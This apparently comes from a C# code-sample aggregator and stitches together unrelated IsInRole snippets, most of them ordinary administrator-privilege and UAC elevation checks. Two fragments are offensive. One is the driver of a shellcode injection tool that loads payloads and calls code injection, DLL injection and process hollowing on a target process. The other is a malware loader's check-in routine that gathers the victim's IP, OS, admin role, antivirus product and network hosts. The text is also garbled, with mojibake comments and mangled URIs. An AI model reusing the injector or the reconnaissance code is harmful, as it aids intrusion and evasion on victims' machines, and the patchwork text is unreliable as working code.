    /// it currently is not elevated.
    /// </summary>
    /// <returns>
    /// Returns true if the primary access token of the process belongs to user 
    /// account that is a member of the local Administrators group. Returns false 
    /// if the token does not.
    /// </returns>
    /// <exception cref="System.ComponentModel.Win32Exception">
    /// When any native Windows API call fails, the function throws a Win32Exception 
    /// with the last error code.
    /// </exception>
    internal bool IsUserInAdminGroup()
    {
        bool fInAdminGroup = false;
        SafeTokenHandle hToken = null;
        SafeTokenHandle hTokenToCheck = null;
        IntPtr pElevationType = IntPtr.Zero;
        IntPtr pLinkedToken = IntPtr.Zero;
        int cbSize = 0;

        try
        {
            // Open the access token of the current process for query and duplicate.
            if (!NativeMethods.OpenProcessToken(Process.GetCurrentProcess().Handle,
                NativeMethods.TOKEN_QUERY | NativeMethods.TOKEN_DUPLICATE, out hToken))
            {
                throw new Win32Exception();
            }

            // Determine whether system is running Windows Vista or later operating
            // systems (major version >= 6) because they support linked tokens, but
            // previous versions (major version < 6) do not.
            if (Environment.OSVersion.Version.Major >= 6)
            {
                // Running Windows Vista or later (major version >= 6).
                // Determine token type: limited, elevated, or default.

                // Allocate a buffer for the elevation type information.
                cbSize = sizeof(TOKEN_ELEVATION_TYPE);
                pElevationType = Marshal.AllocHGlobal(cbSize);
                if (pElevationType == IntPtr.Zero)
                {
                    throw new Win32Exception();
                }

                // Retrieve token elevation type information.
                if (!NativeMethods.GetTokenInformation(hToken,
                    TOKEN_INFORMATION_CLASS.TokenElevationType, pElevationType,
                    cbSize, out cbSize))
                {
                    throw new Win32Exception();
                }

                // Marshal the TOKEN_ELEVATION_TYPE enum from native to .NET.
                TOKEN_ELEVATION_TYPE elevType = (TOKEN_ELEVATION_TYPE)
                    Marshal.ReadInt32(pElevationType);

                // If limited, get the linked elevated token for further check.
                if (elevType == TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited)
                {
                    // Allocate a buffer for the linked token.
                    cbSize = IntPtr.Size;
                    pLinkedToken = Marshal.AllocHGlobal(cbSize);
                    if (pLinkedToken == IntPtr.Zero)
                    {
                        throw new Win32Exception();
                    }

                    // Get the linked token.
                    if (!NativeMethods.GetTokenInformation(hToken,
                        TOKEN_INFORMATION_CLASS.TokenLinkedToken, pLinkedToken,
                        cbSize, out cbSize))
                    {
                        throw new Win32Exception();
                    }

                    // Marshal the linked token value from native to .NET.
                    IntPtr hLinkedToken = Marshal.ReadIntPtr(pLinkedToken);
                    hTokenToCheck = new SafeTokenHandle(hLinkedToken);
                }
            }

            // CheckTokenMembership requires an impersonation token. If we just got
            // a linked token, it already is an impersonation token.  If we did not
            // get a linked token, duplicate the original into an impersonation
            // token for CheckTokenMembership.
            if (hTokenToCheck == null)
            {
                if (!NativeMethods.DuplicateToken(hToken,
                    SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                    out hTokenToCheck))
                {
                    throw new Win32Exception();
                }
            }

            // Check if the token to be checked contains admin SID.
            WindowsIdentity id = new WindowsIdentity(hTokenToCheck.DangerousGetHandle());
            WindowsPrincipal principal = new WindowsPrincipal(id);
            fInAdminGroup = principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        finally
        {
            // Centralized cleanup for all allocated resources.
            if (hToken != null)
            {
                hToken.Close();
                hToken = null;
            }
            if (hTokenToCheck != null)
            {
                hTokenToCheck.Close();
                hTokenToCheck = null;
            }
            if (pElevationType != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(pElevationType);
                pElevationType = IntPtr.Zero;
            }
            if (pLinkedToken != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(pLinkedToken);
                pLinkedToken = IntPtr.Zero;
            }
        }

        return fInAdminGroup;
    }
Exemple #35
0
    public bool IsWindowsAuthorised(string privilege, string userName)
    {
        bool windowsAuthorised = false;

        userName = CleanUser(userName);
        var privileges = new LSA_UNICODE_STRING[1];
        privileges[0] = InitLsaString(privilege);
        IntPtr buffer;
        ulong count;
        uint ret = Win32Sec.LsaEnumerateAccountsWithUserRight(lsaHandle, privileges, out buffer, out count);
        var Accounts = new List<String>();

        if (ret == 0)
        {
            var LsaInfo = new LSA_ENUMERATION_INFORMATION[count];
            LSA_ENUMERATION_INFORMATION myLsaus = new LSA_ENUMERATION_INFORMATION();
            for (ulong i = 0; i < count; i++)
            {
                IntPtr itemAddr = new IntPtr(buffer.ToInt64() + (long)(i * (ulong)Marshal.SizeOf(myLsaus)));

                LsaInfo[i] =
                    (LSA_ENUMERATION_INFORMATION)Marshal.PtrToStructure(itemAddr, myLsaus.GetType());
                var SID = new SecurityIdentifier(LsaInfo[i].PSid);
                Accounts.Add(ResolveAccountName(SID));
            }

            try
            {
                var wp = new WindowsPrincipal(new WindowsIdentity(userName));

                foreach (string account in Accounts)
                {
                    if (wp.IsInRole(account))
                    {
                        windowsAuthorised = true;
                    }
                }

                return windowsAuthorised;
            }
            catch (Exception)
            {
                var localGroups = GetLocalUserGroupsForTaskSchedule(userName);

                var intersection = localGroups.Intersect(Accounts);

                return intersection.Any();

            }
        }

        return false;
    }
        static void Main(string[] args)
        {
            try
            {
                logo();
                // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10

                var arguments = new Dictionary <string, string>();
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                    {
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    }
                    else
                    {
                        arguments[argument] = string.Empty;
                    }
                }

                WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine($"[+] Process running with {principal.Identity.Name} privileges with HIGH integrity.");
                }
                else
                {
                    Console.WriteLine($"[+] Process running with {principal.Identity.Name} privileges with MEDIUM / LOW integrity.");
                }

                if (arguments.Count == 0)
                {
                    Console.WriteLine("[+] No arguments specified. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.Count < 3)
                {
                    Console.WriteLine("[+] Some arguments are missing. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.Count >= 3)
                {
                    int procid = 0;
                    if (arguments.ContainsKey("/pid"))
                    {
                        procid = Convert.ToInt32(arguments["/pid"]);
                        Process process = Process.GetProcessById(procid);
                    }
                    if (System.IO.File.Exists(arguments["/path"]) && System.IO.File.Exists(arguments["/ppath"]))
                    {
                        if (arguments["/t"] == "1")
                        {
                            var    shellcode = System.IO.File.ReadAllText(arguments["/path"]);
                            byte[] buf       = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                            }
                            CodeInject(procid, buf);
                        }
                        else if (arguments["/t"] == "2")
                        {
                            var    dllpath = arguments["/path"];
                            byte[] buf     = Encoding.Default.GetBytes(dllpath);
                            DLLInject(procid, buf);
                        }
                        else if (arguments["/t"] == "3")
                        {
                            var    shellcode = System.IO.File.ReadAllText(arguments["/path"]);
                            byte[] buf       = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                            }
                            ProcHollowing(arguments["/ppath"], buf);
                        }
                    }
                    else
                    {
                        Console.WriteLine("[+] File doesn't exists. Please check the specified file path.");
                    }
                }
                else
                {
                    Console.WriteLine("[+] Invalid argument. Please refer the help section for more details.");
                    help();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
 private bool GetAdminBool()
 {
     bool isAdmin;
         try
         {
             //get the currently logged in user
             WindowsIdentity user = WindowsIdentity.GetCurrent();
             WindowsPrincipal principal = new WindowsPrincipal(user);
             isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
         }
         catch (UnauthorizedAccessException)
         {
             isAdmin = false;
         }
         catch (Exception)
         {
             isAdmin = false;
         }
         return isAdmin;
 }
Exemple #38
0
        private static void CheckWritePermission(string path)
        {
            WindowsIdentity  identity           = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal          = new WindowsPrincipal(identity);
            bool             isInRoleWithAccess = false;

            try
            {
                DirectoryInfo               di    = new DirectoryInfo(DirectoryUtils.ToLongPath(path));
                DirectorySecurity           ds    = di.GetAccessControl();
                AuthorizationRuleCollection rules = ds.GetAccessRules(true, true, typeof(NTAccount));

                foreach (AuthorizationRule rule in rules)
                {
                    FileSystemAccessRule fsAccessRule = rule as FileSystemAccessRule;
                    if (fsAccessRule == null)
                    {
                        continue;
                    }

                    if ((fsAccessRule.FileSystemRights & FileSystemRights.Write) != 0)
                    {
                        NTAccount ntAccount = rule.IdentityReference as NTAccount;
                        if (ntAccount == null)
                        {
                            continue;
                        }

                        if (principal.IsInRole(ntAccount.Value))
                        {
                            if (fsAccessRule.AccessControlType == AccessControlType.Deny)
                            {
                                isInRoleWithAccess = false;
                                break;
                            }
                            isInRoleWithAccess = true;
                        }
                    }
                }
            }
            catch (UnauthorizedAccessException)
            {
            }

            if (!isInRoleWithAccess)
            {
                // is run as administrator?
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    return;
                }

                // try run as admin
                Process  proc = new Process();
                string[] args = Environment.GetCommandLineArgs();
                proc.StartInfo.FileName        = args[0];
                proc.StartInfo.Arguments       = string.Join(" ", args.Skip(1).Select(t => $"\"{t}\""));
                proc.StartInfo.UseShellExecute = true;
                proc.StartInfo.Verb            = "runas";

                try
                {
                    proc.Start();
                    Environment.Exit(0);
                }
                catch (Win32Exception ex)
                {
                    //The operation was canceled by the user.
                    const int ERROR_CANCELLED = 1223;
                    if (ex.NativeErrorCode == ERROR_CANCELLED)
                    {
                        Logger.Instance.Log(LogType.Error, LogCategory.General, $"You can't export to folder {path} without Administrator permission");
                        Console.ReadKey();
                    }
                    else
                    {
                        Logger.Instance.Log(LogType.Error, LogCategory.General, $"You have to restart application as Administator in order to export to folder {path}");
                        Console.ReadKey();
                    }
                }
            }
        }
        public static string GetInitInfo()
        {
            string text = string.Empty;

            text = text + "{\"UUID\":\"" + Loader.GetUUID() + "\",";
            text = text + "\"IP\":\"" + new WebClient().DownloadString("http://ipinfo.io/ip").Trim() + "\",";
            text = text + "\"Country\":\"" + new WebClient().DownloadString("http://ipinfo.io/country").Trim() + "\",";
            using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem").Get().GetEnumerator())
            {
                if (enumerator.MoveNext())
                {
                    ManagementObject managementObject = (ManagementObject)enumerator.Current;
                    text = text + "\"OS\":\"" + ((managementObject["Caption"] != null) ? managementObject["Caption"].ToString().Replace("Microsoft ", "") : "N/A") + "\",";
                }
            }
            using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator())
            {
                if (enumerator.MoveNext())
                {
                    ManagementObject managementObject2 = (ManagementObject)enumerator.Current;
                    text = text + "\"Arch\":\"x" + Convert.ToInt32(managementObject2["AddressWidth"]).ToString() + "\",";
                }
            }
            text = text + "\"User\":\"" + WindowsIdentity.GetCurrent().Name.Replace("\\", "/").ToString() + "\",";
            text = text + "\"CPU\":\"" + Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null).ToString() + "\",";
            ulong totalPhysicalMemory = new ComputerInfo().TotalPhysicalMemory;

            text = text + "\"RAM\":\"" + (totalPhysicalMemory / 1024UL / 1024UL).ToString() + " MB\",";
            WindowsIdentity  current          = WindowsIdentity.GetCurrent();
            WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
            bool             flag             = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);

            if (flag)
            {
                text += "\"Role\":\"Admin\",";
            }
            else
            {
                text += "\"Role\":\"User\",";
            }
            try
            {
                string text2 = string.Empty;
                foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntivirusProduct").Get())
                {
                    ManagementObject managementObject3 = (ManagementObject)managementBaseObject;
                    text2 = managementObject3["displayName"].ToString();
                }
                if (text2.Length < 2)
                {
                    text += "\"AntiVirus\":\"N/A\",";
                }
                else
                {
                    text = text + "\"AntiVirus\":\"" + text2 + "\",";
                }
            }
            catch { text += "\"AntiVirus\":\"N/A\","; }
            long num = 0L;

            foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
            {
                if (driveInfo.IsReady)
                {
                    num += driveInfo.TotalSize;
                }
            }
            text = text + "\"Total Space\":\"" + (num / 1024L / 1024L / 1024L).ToString() + " GB\",";
            text = text + "\"Version\":\"" + Loader.version + "\",";
            List <string> list = new List <string>();

            using (DirectoryEntry directoryEntry = new DirectoryEntry("WinNT:"))
            {
                foreach (object obj in directoryEntry.Children)
                {
                    DirectoryEntry directoryEntry2 = (DirectoryEntry)obj;
                    foreach (object obj2 in directoryEntry2.Children)
                    {
                        DirectoryEntry directoryEntry3 = (DirectoryEntry)obj2;
                        if (directoryEntry3.Name != "Schema")
                        {
                            list.Add(directoryEntry3.Name);
                        }
                    }
                }
            }
            if (list.Count == 0)
            {
                text += "\"Network PCs\":\"N/A\"}";
            }
            else
            {
                text = text + "\"Network PCs\":\"" + list.Count.ToString() + "\"}";
            }
            Console.WriteLine(text);
            return(text);
        }
Exemple #40
0
        protected override void OnStartup(StartupEventArgs e)
        {
            //Launage switch
            ResourceDictionary dict = new ResourceDictionary();

            dict.Source = new Uri(@"Resources\Language\" + LanguageHelper.PreferenceLanguage + ".xaml", UriKind.Relative);
            ConfigHelper.Instance.SetLang(LanguageHelper.PreferenceLanguage == "zh-CN" ? "zh-cn" : "en");
            Current.Resources.MergedDictionaries.Add(dict);

            //theme switch
            ResourceDictionary themeDictionary = new ResourceDictionary();
            ResourceDictionary chartDictionary = new ResourceDictionary();

            switch (appData.ThemeSetting)
            {
            case 0:
                themeDictionary.Source = new Uri(@"pack://*****:*****@"Resources\Theme\DefaultTheme.xaml", UriKind.Relative);
                break;

            case 1:
                themeDictionary.Source = new Uri(@"pack://*****:*****@"Resources\Theme\DarkTheme.xaml", UriKind.Relative);
                break;

            default:     //bright default
                themeDictionary.Source = new Uri(@"pack://*****:*****@"Resources\Theme\DefaultTheme.xaml", UriKind.Relative);
                break;
            }
            Current.Resources.MergedDictionaries.Add(themeDictionary);
            Current.Resources.MergedDictionaries.Add(chartDictionary);

            //tray icon
            mutex = new Mutex(true, "FrogyMainProgram");
            string startupArg = e.Args.Count() > 0 ? e.Args[0] : null;

            //if frogy not running
            if (mutex.WaitOne(0, false) || startupArg == "restart")
            {
                //Promote permission if not Administrator
                var principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
                if (!principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    MyDeviceHelper.PromotePermission();
                }

                taskbarIcon = (TaskbarIcon)FindResource("icon");

                ShowNotification(
                    LanguageHelper.InquireLocalizedWord("TaskBar_AppName"),
                    LanguageHelper.InquireLocalizedWord("TaskBar_StartUp"),
                    BalloonIcon.Info);

                appData.InitializeMyAppData();
                appData.StartLogic();

                base.OnStartup(e);
            }
            else
            {
                MessageBox.Show(
                    LanguageHelper.InquireLocalizedWord("TaskBar_Overlap"),
                    LanguageHelper.InquireLocalizedWord("TaskBar_AppName"),
                    MessageBoxButton.OK,
                    MessageBoxImage.Information);

                Environment.Exit(1);
            }
        }
Exemple #41
0
        public static bool IsAdministrator()
        {
            var wp = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(wp.IsInRole(WindowsBuiltInRole.Administrator));
        }
 /// <summary>
 /// ���݊Ǘ��Ҍ����Ŏ��s����Ă��邩�m�F���܂�
 /// </summary>
 /// <returns>�Ǘ��Ҍ����̏ꍇ��true, ��ʃ��[�U�̏ꍇ��false</returns>
 public static bool isAdmin()
 {
     WindowsIdentity usrId = WindowsIdentity.GetCurrent();
     WindowsPrincipal p = new WindowsPrincipal(usrId);
     return p.IsInRole(@"BUILTIN\Administrators");
 }